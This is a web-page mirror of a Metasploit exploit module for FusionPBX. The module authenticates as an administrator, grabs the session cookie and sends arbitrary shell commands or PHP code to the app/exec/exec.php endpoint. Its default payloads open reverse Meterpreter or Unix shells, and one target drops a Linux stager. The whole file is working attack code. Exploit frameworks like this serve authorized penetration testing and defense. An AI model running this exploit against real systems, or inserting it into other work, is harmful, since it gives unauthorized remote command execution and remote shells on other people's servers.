CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'FusionPBX Command exec.php Command Execution',
15
'Description' => %q{
16
This module uses administrative functionality available in FusionPBX
17
to gain a shell.
18
19
The Command section of the application permits users with `exec_view`
20
permissions, or superadmin permissions, to execute arbitrary system
21
commands, or arbitrary PHP code, as the web server user.
22
23
This module has been tested successfully on FusionPBX version
24
4.4.1 on Ubuntu 19.04 (x64).
25
},
26
'License' => MSF_LICENSE,
27
'Author' => ['bcoles'],
28
'References' =>
29
[
30
['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']
31
],
32
'Platform' => %w[php linux unix],
33
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
34
'Targets' =>
35
[
36
['Automatic (PHP In-Memory)',
37
'Platform' => 'php',
38
'Arch' => ARCH_PHP,
39
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'},
40
'Type' => :php_memory
41
],
42
['Automatic (Unix In-Memory)',
43
'Platform' => 'unix',
44
'Arch' => ARCH_CMD,
45
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
46
'Type' => :unix_memory
47
],
48
['Automatic (Linux Dropper)',
49
'Platform' => 'linux',
50
'Arch' => [ARCH_X86, ARCH_X64],
51
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
52
'Type' => :linux_dropper
53
]
54
],
55
'Privileged' => false,
56
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
57
'DisclosureDate' => '2019-11-02',
58
'DefaultTarget' => 0))
59
register_options [
60
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
61
OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),
62
OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
63
]
64
end
65
66
def login(user, pass)
67
vprint_status "Authenticating as user '#{user}'"
68
69
vars_post = {
70
username: user,
71
password: pass,
72
path: ''
73
}
74
75
res = send_request_cgi({
76
'method' => 'POST',
77
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
78
'vars_post' => vars_post
79
})
80
81
unless res
82
fail_with Failure::Unreachable, 'Connection failed'
83
end
84
85
if res.code == 302 && res.headers['location'].include?('login.php')
86
fail_with Failure::NoAccess, "Login failed for user '#{user}'"
87
end
88
89
unless res.code == 200
90
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
91
end
92
93
cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first
94
95
unless cookie
96
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
97
end
98
99
print_good "Authenticated as user '#{user}'"
100
101
cookie
102
end
103
104
def check
105
res = send_request_cgi({
106
'uri' => normalize_uri(target_uri.path)
107
})
108
109
unless res
110
vprint_error 'Connection failed'
111
return CheckCode::Unknown
112
end
113
114
if res.body.include?('FusionPBX')
115
return CheckCode::Detected
116
end
117
118
CheckCode::Safe
119
end
120
121
def execute_command(cmd, opts = {})
122
vars_post = {
123
handler: 'php',
124
table_name: '',
125
sql_type: '',
126
id: '',
127
cmd: cmd
128
}
129
130
case opts[:handler]
131
when 'php'
132
vars_post[:handler] = 'php'
133
when 'shell'
134
vars_post[:handler] = 'shell'
135
when 'switch'
136
vars_post[:handler] = 'switch'
137
vars_post[:cmd] = "bg_system #{cmd}"
138
else
139
vars_post[:handler] = 'shell'
140
end
141
142
res = send_request_cgi({
143
'method' => 'POST',
144
'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'),
145
'cookie' => "PHPSESSID=#{@cookie}",
146
'vars_post' => vars_post
147
}, 5)
148
149
unless res
150
return if session_created?
151
fail_with Failure::Unreachable, 'Connection failed'
152
end
153
154
unless res.code == 200
155
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
156
end
157
158
if res.body.include? 'access denied'
159
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"
160
end
161
162
res
163
end
164
165
def exploit
166
unless check == CheckCode::Detected
167
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
168
end
169
170
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
171
172
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
173
174
case target['Type']
175
when :php_memory
176
execute_command(payload.encoded, handler: 'php')
177
when :unix_memory
178
execute_command(payload.encoded, handler: 'shell')
179
when :linux_dropper
180
execute_cmdstager(:linemax => 1_500, handler: 'shell')
181
end
182
end
183
end
184
185